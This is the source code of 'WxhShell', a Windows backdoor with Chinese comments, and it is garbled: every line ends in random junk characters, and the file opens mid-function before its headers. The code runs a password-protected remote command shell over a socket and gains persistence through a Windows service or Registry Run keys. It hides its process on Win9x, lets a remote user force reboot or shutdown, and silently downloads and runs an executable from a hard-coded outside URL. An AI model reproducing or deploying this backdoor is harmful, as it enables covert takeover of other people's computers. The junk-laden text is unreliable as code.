    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .*6NqX$  
    if(Boot(SHUTDOWN)) &iu]M=Y b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .s4vJKK0  
    else { #xx.yn(7  
    closesocket(wsh); tt-ci,X+  
    ExitThread(0); hwUb(pZ  
    } 8Ckd.HKpQ  
    break; :4[>]&:u3  
    } ^! h3#4  
  // 获取shell VXZYRr3F  
  case 's': { G)YmaHeI;[  
    CmdShell(wsh); f%n ;Z}=  
    closesocket(wsh); ~rI2 RJ  
    ExitThread(0); Cm8h b  
    break; G[ns^  
  } ';\norx;  
  // 退出 k;<@ 2C  
  case 'x': { }BW&1*M{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &Oz  
    CloseIt(wsh); jQ7;-9/~N  
    break; 61QA<Wb  
    } IHCxM|/k(M  
  // 离开 }s?w-u+(c6  
  case 'q': { zQO 1%g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?#<'w(^%#  
    closesocket(wsh); _~tF2`,Y_p  
    WSACleanup(); :''Swi<H  
    exit(1); xc-[gt6  
    break; qYVeFSS  
        } Ok)f5")N %  
  } c1i[1x%  
  } '`gnJX JO  
lxZ9y  
  // 提示信息 Y5ei:r|^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); si~zg\uY  
} ,hJx3g5#n  
  } BZTj>yd  
"fv+}'  
  return; *C|*{!  
} Q~ Nq5[  
3rZPVR$))  
// shell模块句柄 SJc*Rl>  
int CmdShell(SOCKET sock) D|$0~1y  
{ [V8^}s}tF  
STARTUPINFO si; &)Zv>P8z`  
ZeroMemory(&si,sizeof(si)); QTF1~A\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WC_U'nTu4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;){ZM,Ox  
PROCESS_INFORMATION ProcessInfo; QCDica `+*  
char cmdline[]="cmd"; mW[w4J+7P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ettBque  
  return 0; j5n"LC+oz  
} L`O7-'`  
n/BoK6g  
// 自身启动模式 ; %AgKgV  
int StartFromService(void) d6m&nj  
{ )eSQce7H  
typedef struct 1S+T:n  
{ `z/ p,. u  
  DWORD ExitStatus; #jxPh!%9  
  DWORD PebBaseAddress; X?u=R)uG  
  DWORD AffinityMask; 9P#kV@%(0c  
  DWORD BasePriority; JX>`N5s  
  ULONG UniqueProcessId; e<A>??h^  
  ULONG InheritedFromUniqueProcessId; %/nDG9l  
}   PROCESS_BASIC_INFORMATION; BlT)hG(M>  
y'oH>l+n  
PROCNTQSIP NtQueryInformationProcess; 4 8; b  
aAd1[?&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KG(l=? N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cuf]-C1_  
!w!k0z]  
  HANDLE             hProcess; 0Nk!.gY  
  PROCESS_BASIC_INFORMATION pbi; |{%$x^KyJ  
UpQda`rb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y)GU{  
  if(NULL == hInst ) return 0; Sy*p6DP  
\7o7~pll  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LZ(K{+U/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]gA2.,)}D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )*.rl  
Sq2 8=1%  
  if (!NtQueryInformationProcess) return 0; JnQ@uZb`  
i_!$bk< yo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J-klpr#  
  if(!hProcess) return 0; SFEDR?s   
F,mStw:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ka`}lR  
_3g!_  
  CloseHandle(hProcess); B1Z;  
X VKRT7U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,x3< a}J  
if(hProcess==NULL) return 0; h]Gvt 5  
{?mb.~(  
HMODULE hMod; an Kflt3  
char procName[255]; ;c@B+RquR  
unsigned long cbNeeded; \^'-=8<*>  
urL@SeV+$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ['6Sq@c)  
(2RuQgO  
  CloseHandle(hProcess); g\49[U}[~F  
Cs vwc%  
if(strstr(procName,"services")) return 1; // 以服务启动 ;jKLB^4nX  
?cK67|%W  
  return 0; // 注册表启动 i DsY 5l  
} 3@0!]z^W  
.\ vrBf  
// 主模块 *m'&<pg]X  
int StartWxhshell(LPSTR lpCmdLine) Q} -YD.bx3  
{ ZxCXru1  
  SOCKET wsl; z4]z3U<}3]  
BOOL val=TRUE; ZlQ&m  
  int port=0; ?. L]QU  
  struct sockaddr_in door; dL1{i,M  
s`]SK^j0  
  if(wscfg.ws_autoins) Install(); ;hd%w mE  
2UBAk')O}  
port=atoi(lpCmdLine); !|J2o8g  
BG1hk!  
if(port<=0) port=wscfg.ws_port; I5Rd~-="G  
+\.0Pr  
  WSADATA data; 1 a%1C`d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l5enlYH  
IY@N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |A=~aQot  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lr "V  
  door.sin_family = AF_INET; >5t]Zlb`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \`*]}48Z  
  door.sin_port = htons(port); )<5hga][~a  
aMxM3"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +a+DiD>./  
closesocket(wsl); +4[Je$qYa  
return 1; 3_J({  
} "(p&Oz  
z;&J9r $`  
  if(listen(wsl,2) == INVALID_SOCKET) { #Xi9O.  
closesocket(wsl); FJsM3|{2=d  
return 1; U@}P]'`'f  
} Ai`0Ud,M@  
  Wxhshell(wsl); \.=,}sV2Z  
  WSACleanup(); cfc=a  
/ !hxW}>^  
return 0; pO N@  
aOmQ<N]a  
} {t('`z  
J c:j7}OOV  
// 以NT服务方式启动 yM?jiy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X/D% cQ6  
{ 2:1 kSR^Ky  
DWORD   status = 0; aBKJd  
  DWORD   specificError = 0xfffffff; K6nNrd}p:  
$$T a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4B-+DH>{6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `bNLmTS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l0%7u  
  serviceStatus.dwWin32ExitCode     = 0; }Gd^r  
  serviceStatus.dwServiceSpecificExitCode = 0; io7Zv*&T0  
  serviceStatus.dwCheckPoint       = 0; zHXb[$ Q  
  serviceStatus.dwWaitHint       = 0; oLt%i:,A  
"iuNYM5 P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9i!|wkx  
  if (hServiceStatusHandle==0) return; JzkI!5c<j  
b2hXFwPe  
status = GetLastError(); ohPDknHp  
  if (status!=NO_ERROR) s 5F?m  
{ AN+S6t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y+M9{[ i/O  
    serviceStatus.dwCheckPoint       = 0; K^c%$n:}+  
    serviceStatus.dwWaitHint       = 0; 69zMWuY  
    serviceStatus.dwWin32ExitCode     = status; piAFxS<6  
    serviceStatus.dwServiceSpecificExitCode = specificError; f<Y g_TG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `q7X(x  
    return; fh9w5hT={  
  } x,QXOh\a  
k1HCPj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Mq{ES%  
  serviceStatus.dwCheckPoint       = 0; y2>AbrJ  
  serviceStatus.dwWaitHint       = 0; g 4lk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )/BbASO$)Z  
} jR^_1bu  
n fMU4(:  
// 处理NT服务事件,比如:启动、停止 h:<?)g~U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Pzh#rYY~W  
{ MJy(B><  
switch(fdwControl) Vv*](iM  
{ nRheByYm  
case SERVICE_CONTROL_STOP: luCwP  
  serviceStatus.dwWin32ExitCode = 0; N$P\$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /(DnMHn\  
  serviceStatus.dwCheckPoint   = 0; ulNMqz\.  
  serviceStatus.dwWaitHint     = 0; Ev0=m;@_  
  { >]ZW.?1h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?l^NKbw  
  } =8Gpov1!V~  
  return; W]M Fq5.  
case SERVICE_CONTROL_PAUSE: b}Xh|0`b+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :} DTK  
  break; (E7C9U*  
case SERVICE_CONTROL_CONTINUE: 2X0<-Y#'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xt$Y&Ho  
  break; gh.+}8="  
case SERVICE_CONTROL_INTERROGATE: X1^Q1?0  
  break; E[c6*I  
}; V6fJaZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &L r~x#Wx  
} Wn Ng3'6  
gm7 [m}  
// 标准应用程序主函数 %(:{TR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .T#}3C/  
{ ) RNB;K~s9  
n {..Q,z  
// 获取操作系统版本 R^@   
OsIsNt=GetOsVer(); |*N;R+b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b8|<O:]Hp  
a( SJ5t?-2  
  // 从命令行安装 ` pfRY!  
  if(strpbrk(lpCmdLine,"iI")) Install(); F[]6U/g n  
^#4Ah[:XA  
  // 下载执行文件 ,n &Lp  
if(wscfg.ws_downexe) { m[s$)-T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'CCAuN>J  
  WinExec(wscfg.ws_filenam,SW_HIDE); h8icF}m  
} =-/sB>-C  
bmO(tQS$5  
if(!OsIsNt) { 5TLE%#G@+  
// 如果时win9x,隐藏进程并且设置为注册表启动 _,3%)sn-)  
HideProc(); n2Ew0-  
StartWxhshell(lpCmdLine); Em(Okr,0  
} +QeA*L$~  
else 3 5/ s\  
  if(StartFromService()) +-qa7  
  // 以服务方式启动 nxe9^h7m  
  StartServiceCtrlDispatcher(DispatchTable); 9s?gI4XN  
else Op:$7hv  
  // 普通方式启动 Bv#?.0Ez;  
  StartWxhshell(lpCmdLine);  huvn_  
rTim1<IXR  
return 0; H{1'- wB  
} _}tPtHPa/  
B(Er/\-@U  
2Q;rSe._`  
C=JS]2W2  
=========================================== x|)pZa  
^7YZ>^  
mQ2=t%  
*/4hFD {  
<TgVU.*  
g1@rY0O  
" -#,4rN#  
1P WTbd l  
#include <stdio.h> ZP ]Ok  
#include <string.h> #szIYyk  
#include <windows.h> Ezr q2/~Q  
#include <winsock2.h> 0rxGb} b*  
#include <winsvc.h> WAJ KP"  
#include <urlmon.h> Q;GcV&f;f  
u-*z#e_L0  
#pragma comment (lib, "Ws2_32.lib") `x;m@\R  
#pragma comment (lib, "urlmon.lib") c[Z#q*Q  
G|TnvZ KX  
#define MAX_USER   100 // 最大客户端连接数 JH*fxG  
#define BUF_SOCK   200 // sock buffer 8Z3:jSgk  
#define KEY_BUFF   255 // 输入 buffer K9 +\Z  
v7,-Q*  
#define REBOOT     0   // 重启 >96+s)T%;  
#define SHUTDOWN   1   // 关机 l[[^]__  
X6xs@tgQ  
#define DEF_PORT   5000 // 监听端口 m@2=v q1f  
Y++n0sK5<  
#define REG_LEN     16   // 注册表键长度 ll*Ez"  
#define SVC_LEN     80   // NT服务名长度 }:(;mW8 D  
z>)lp$  
// 从dll定义API `nY.&YT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >X*Y jv:r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eOx8D|^W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @U9`V&])F[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dFmpx%+p  
ay]l\d2!3  
// wxhshell配置信息 5..YC=_20  
struct WSCFG { %!8w)1U  
  int ws_port;         // 监听端口 i`=%X{9  
  char ws_passstr[REG_LEN]; // 口令 9+ |W;  
  int ws_autoins;       // 安装标记, 1=yes 0=no I]BhkJ  
  char ws_regname[REG_LEN]; // 注册表键名 I= a?z<  
  char ws_svcname[REG_LEN]; // 服务名 @mb'!r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t*`Sme]"B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eKf5orN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u#NX`_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4j(`koX_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fNBI!=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {7%(m|(  
G++<r7;x  
}; tJmy}.t1  
uvJ&qd8M  
// default Wxhshell configuration t%Bh'HkG  
struct WSCFG wscfg={DEF_PORT, $-]I?cWlQ  
    "xuhuanlingzhe", uPE Ab2u="  
    1, p{+F{e  
    "Wxhshell", 8C@6 b4VK  
    "Wxhshell", .9?GKD  
            "WxhShell Service", ZD4aT1|Q7  
    "Wrsky Windows CmdShell Service", x+b.9f4xJ  
    "Please Input Your Password: ", ~y"OyOi&  
  1, 'S*]JZ1  
  "http://www.wrsky.com/wxhshell.exe", lgZ9*@d  
  "Wxhshell.exe" *X^ C+F  
    }; A5Q4wy`  
x,|fblQz  
// 消息定义模块 trB-(B%5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  VF g(:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D !{e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _9q byhS7  
char *msg_ws_ext="\n\rExit."; uh% J  
char *msg_ws_end="\n\rQuit."; fYpJ2y-sA  
char *msg_ws_boot="\n\rReboot..."; { ft |*  
char *msg_ws_poff="\n\rShutdown..."; | GN/{KH]  
char *msg_ws_down="\n\rSave to "; 'p@m`)Z  
)0g!lCfb  
char *msg_ws_err="\n\rErr!"; `gyk e2n  
char *msg_ws_ok="\n\rOK!"; /F6"uZSt4  
5K-,k^T}  
char ExeFile[MAX_PATH]; &WOm[]Q4  
int nUser = 0; +\?+cXSc  
HANDLE handles[MAX_USER]; RxNLn/?d@  
int OsIsNt; YL78cWOs  
&3 Ki  
SERVICE_STATUS       serviceStatus; <{@D^L6h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; piqh7u3~  
Ya(3Z_f+VZ  
// 函数声明 vU(fd!V ?  
int Install(void); v*c"SI=@M=  
int Uninstall(void); lJ,\^\q  
int DownloadFile(char *sURL, SOCKET wsh); 8kvA^r`  
int Boot(int flag); >V4r '9I  
void HideProc(void); ?*ZQ:jH  
int GetOsVer(void); I zVc  
int Wxhshell(SOCKET wsl); #2"'tHf4  
void TalkWithClient(void *cs); 9+/D\|"{  
int CmdShell(SOCKET sock); V]m}xZ'?^  
int StartFromService(void); s_^N=3Si   
int StartWxhshell(LPSTR lpCmdLine); %@|)&][hO  
kUfbB#.5L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Ae&1O;Zh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oOaLD{g>  
^bfU>02Q6p  
// 数据结构和表定义 4wGBB{X  
SERVICE_TABLE_ENTRY DispatchTable[] = 5evk_f  
{ Zj_2B_|WN#  
{wscfg.ws_svcname, NTServiceMain}, L,ax^]  
{NULL, NULL}  wG6Oz2(  
}; pred{HEye  
h:sf?X[  
// 自我安装 g^7zDU&'  
int Install(void) #_ UP}G$  
{ *ae)<l3v  
  char svExeFile[MAX_PATH]; lY2~{Y|4s  
  HKEY key; u J]uz%  
  strcpy(svExeFile,ExeFile); GG-b)64h`  
[:q J1^UU  
// 如果是win9x系统,修改注册表设为自启动 f6nuh&!-  
if(!OsIsNt) { UZmo?&y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d|)ARRW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #p]V?  
  RegCloseKey(key); uy~$ :0o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IKaW],sr#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =e0MEV#s.  
  RegCloseKey(key); C'{B  
  return 0; -$Kc"rX  
    } j}`ku9S~  
  } E1dhj3+3  
} >AY9 F|:  
else { +U%epq  
=sefT@<  
// 如果是NT以上系统,安装为系统服务 !ZvVj\{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %d40us8E  
if (schSCManager!=0) ^f-)gZ&  
{ vK+!m~kDu  
  SC_HANDLE schService = CreateService .o,-a>jL  
  ( 2v;&`04V<  
  schSCManager, ~4O3~Y_+GN  
  wscfg.ws_svcname, hl] y):  
  wscfg.ws_svcdisp, (I(U23A~  
  SERVICE_ALL_ACCESS, UEt78eN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H8B2{]HAt  
  SERVICE_AUTO_START, ;' |CSjco  
  SERVICE_ERROR_NORMAL, >n(dyU@  
  svExeFile, Sa0IRC<LV  
  NULL, TTbJ9O<43  
  NULL, s&Al4>}.f  
  NULL, cIC/3g}]  
  NULL, {'B(S/Z 7  
  NULL qh&q <M  
  ); s{{8!Q  
  if (schService!=0) 'tcve2Tt  
  { zAvI f  
  CloseServiceHandle(schService); @<X[,Mj  
  CloseServiceHandle(schSCManager); ,fN <I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qFLt/ >  
  strcat(svExeFile,wscfg.ws_svcname); _qpIdQBo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >{-rl@^H:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6ecx!uc$  
  RegCloseKey(key); )8'v@8;-  
  return 0;  vILB$%I  
    } gg8)oc+w  
  } y4aT-^C'  
  CloseServiceHandle(schSCManager); %e)vl[:}  
} Y,EF'Ot  
} +JY8"a97>  
UV av^<_  
return 1; (Q ^=^s|  
} w5rtYT I  
6c27X/'Z  
// 自我卸载 2PUB@B' +  
int Uninstall(void) [;4ak)!  
{ I9rQX9#B  
  HKEY key; O8N1gf;t  
ygX!'evY  
if(!OsIsNt) { ,,6lQ]wG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;-l^X%r  
  RegDeleteValue(key,wscfg.ws_regname); |nr;OM  
  RegCloseKey(key); }H saJ=1U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RBg2iG$ 8|  
  RegDeleteValue(key,wscfg.ws_regname); $G9E=wn  
  RegCloseKey(key); d{) =E8wE  
  return 0; T+rym8.p  
  } wV{j CQ  
} yB=R7E7  
} 2 n2,MB  
else { 'MB+cz+v  
N~or.i&a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); odJE~\\hw  
if (schSCManager!=0) H!,V7R  
{ RdL5VAD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (^sb('"  
  if (schService!=0) 45iO2W uur  
  { 3-n&&<  
  if(DeleteService(schService)!=0) { ]W%rhppC  
  CloseServiceHandle(schService); qoZAZ&|HI  
  CloseServiceHandle(schSCManager); u`oJ3mS;  
  return 0; <Hz11 }<(  
  } uC#] F@  
  CloseServiceHandle(schService); bNtOqhi  
  } PJe \PGh  
  CloseServiceHandle(schSCManager); m7XN6zX  
} %u<r_^w5  
} jGJf[:M&Pm  
IM[=]j.?  
return 1; wN6sica|  
} W~i0.rg|>  
eecIF0hp  
// 从指定url下载文件 &9.3-E47*  
int DownloadFile(char *sURL, SOCKET wsh) 5GPAt  
{ Vhb~kI!x  
  HRESULT hr; b}u#MU  
char seps[]= "/"; P9Eh, j0_  
char *token; 3+:NX6Ewb*  
char *file; ~)X;z"y%b  
char myURL[MAX_PATH]; |8x_Av0  
char myFILE[MAX_PATH]; i12G\Ye  
j.+,c#hFo  
strcpy(myURL,sURL); IBNb!mPu%  
  token=strtok(myURL,seps); CUjRz5L  
  while(token!=NULL) 4j i#Q  
  { {4p7r7n'  
    file=token; $U. 2"  
  token=strtok(NULL,seps); dr(e)eD(R>  
  } !y!s/i&P%  
rEU1 VvE  
GetCurrentDirectory(MAX_PATH,myFILE); 2!{_x8,n  
strcat(myFILE, "\\"); ,5K&f\  
strcat(myFILE, file); w> Ft5"z  
  send(wsh,myFILE,strlen(myFILE),0); T:CWxusL  
send(wsh,"...",3,0); (>P z3 7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N5k9o:2  
  if(hr==S_OK) ]x3 )OjH  
return 0; 0&r}'f ?  
else 8 -b~p  
return 1; 6G-XZko~a  
K+yi_n L  
} p{SIGpbR&  
Esg:  
// 系统电源模块 2elj@EB,M  
int Boot(int flag) F[.IF5_  
{ 2Y=Q%  
  HANDLE hToken; uHDUuK:Ur  
  TOKEN_PRIVILEGES tkp; m^)\P?M5|  
fKuaom9  
  if(OsIsNt) { ypfjF@OT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )_kEy>YscZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4L,&a+)  
    tkp.PrivilegeCount = 1; b~8&P_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CyB1`&G>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U[#q"'P|l  
if(flag==REBOOT) { $.B}zY{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ r$I&8  
  return 0; _qQo}|/q  
} xelh!AtE  
else { `0{qfms  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U2JxzHXZ  
  return 0; y>RqA *J  
} j{zVVT  
  } ' 94HVag  
  else { T16B2|C"Y  
if(flag==REBOOT) { `X`|]mWj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A+3=OBpkW0  
  return 0; O9{A)b!HB  
} 8R;E+B{  
else { BMhuM~?(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G0ENk|wbbj  
  return 0; !A_KCM:Ym  
} 2b :I .  
} mFIIqkUAL  
v\kd78,  
return 1; V<REcII.  
} >rh<%55P`  
_ g"su #  
// win9x进程隐藏模块 b|`  
void HideProc(void) uQWd`7  
{ ^^)\| kW?  
gti=GmL(L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $g#d1u0q  
  if ( hKernel != NULL ) ZPY84)A_}  
  { "xD5>(|^+Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r1$x}I#Zv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B_.>Q8tK;  
    FreeLibrary(hKernel); / pR,l5  
  } 'FN3r  
-ktYS(8&  
return; WxF@'kdn*,  
} T9'5V@  
%,)Xi  
// 获取操作系统版本  q0\$wI  
int GetOsVer(void) 9Mv4=k^7|4  
{ 9893{}\cB  
  OSVERSIONINFO winfo; +T7FG_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 89A04HX  
  GetVersionEx(&winfo); aII:Pzh]B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @;d7#!:cE  
  return 1; NMP*q @  
  else /bqJ6$  
  return 0; @(rLn  
} rX&?Xi1JeV  
`P9%[8`C 9  
// 客户端句柄模块 sY'dN_F  
int Wxhshell(SOCKET wsl) '}NH$ KA  
{ c-a;nAR  
  SOCKET wsh; %M05& <  
  struct sockaddr_in client; {|@N~c+  
  DWORD myID; Wy$Q!R=i  
\G1(r=fU  
  while(nUser<MAX_USER) /M_kJe,%  
{ DRi/<  
  int nSize=sizeof(client); :.\h.H;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XpOQBXbt  
  if(wsh==INVALID_SOCKET) return 1; HM\gOz  
*(<3 oIRS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #.\X% !  
if(handles[nUser]==0) K+c>Cj}H  
  closesocket(wsh); ;4]l P  
else (%;D& ~%o  
  nUser++; ]5J*UZ}  
  } R )e^H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bk~M^AK@~  
.'N#qs_  
  return 0; {eo?vA8SE  
} /?QBMI  
oI%.oP}G  
// 关闭 socket  \R<OT%8  
void CloseIt(SOCKET wsh) Yy0m &3[  
{ <8/lHQ^\)  
closesocket(wsh); w+ tO@  
nUser--; rx;zd?  
ExitThread(0); j-etEWOTr  
} GEi^3UD  
&rxR"^x\  
// 客户端请求句柄 zX/9^+p:  
void TalkWithClient(void *cs) 3836Di:{  
{ pG:)u cj  
u8@>ThPD  
  SOCKET wsh=(SOCKET)cs;  /=7[Q  
  char pwd[SVC_LEN]; 5=Y\d,SS"  
  char cmd[KEY_BUFF]; :YZMR JL  
char chr[1]; l,3[hx  
int i,j; 5bKn6O)K  
Ss7XjWP.}  
  while (nUser < MAX_USER) { *,DBRJ_*7  
GQ9g$&T  
if(wscfg.ws_passstr) { ub] w"N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;q$O^r~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1e^-_Bo6'o  
  //ZeroMemory(pwd,KEY_BUFF); (wIpq<%  
      i=0; ouUU(jj02  
  while(i<SVC_LEN) { \6${Na' \  
c =i6  
  // 设置超时 e: :H1V  
  fd_set FdRead; BK]q^.7+:  
  struct timeval TimeOut; Gwkp(9d  
  FD_ZERO(&FdRead); 4%k_c79>  
  FD_SET(wsh,&FdRead); "2bCq]I0  
  TimeOut.tv_sec=8; ,Z I"+v  
  TimeOut.tv_usec=0; "GofQ5,|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wc$1Re{z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ie?C<(8Ul  
 `#lNur\x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "L" 6jT  
  pwd=chr[0]; W7"ks(  
  if(chr[0]==0xd || chr[0]==0xa) { oFV >b  
  pwd=0; #`4ma:Pj  
  break; jM3{A;U2  
  } <&rvv4*H  
  i++; YvK8;<k@-?  
    } ?79ABm a  
Tce2]"^;  
  // 如果是非法用户,关闭 socket X^H)2G>e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dl%NVi+n  
} Pw'3ya8  
m.p{+_@M&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8+ 1t ys  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7>J8\=  
7=8e|$K_  
while(1) { ZWSYh>"  
OE/O:F:1j  
  ZeroMemory(cmd,KEY_BUFF); HLU'1As65  
JQ8wL _C>  
      // 自动支持客户端 telnet标准   X}xy v  
  j=0; d1#;>MiU  
  while(j<KEY_BUFF) { ~8Z0{^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :_Y@,CpIEg  
  cmd[j]=chr[0]; GKwm %A  
  if(chr[0]==0xa || chr[0]==0xd) { #^v|u3^DD  
  cmd[j]=0; GRb"jF>ut  
  break; o84!$2P+w  
  } ;p#)z/zZ  
  j++; MI@id  
    } ?j8F5(HF?  
B@l/'$G  
  // 下载文件 ;%AK< RT  
  if(strstr(cmd,"http://")) { xS`>[8?3<T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^60BQ{ne  
  if(DownloadFile(cmd,wsh)) iFW)}_.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q': }'CI  
  else 8hi|F\$_h  
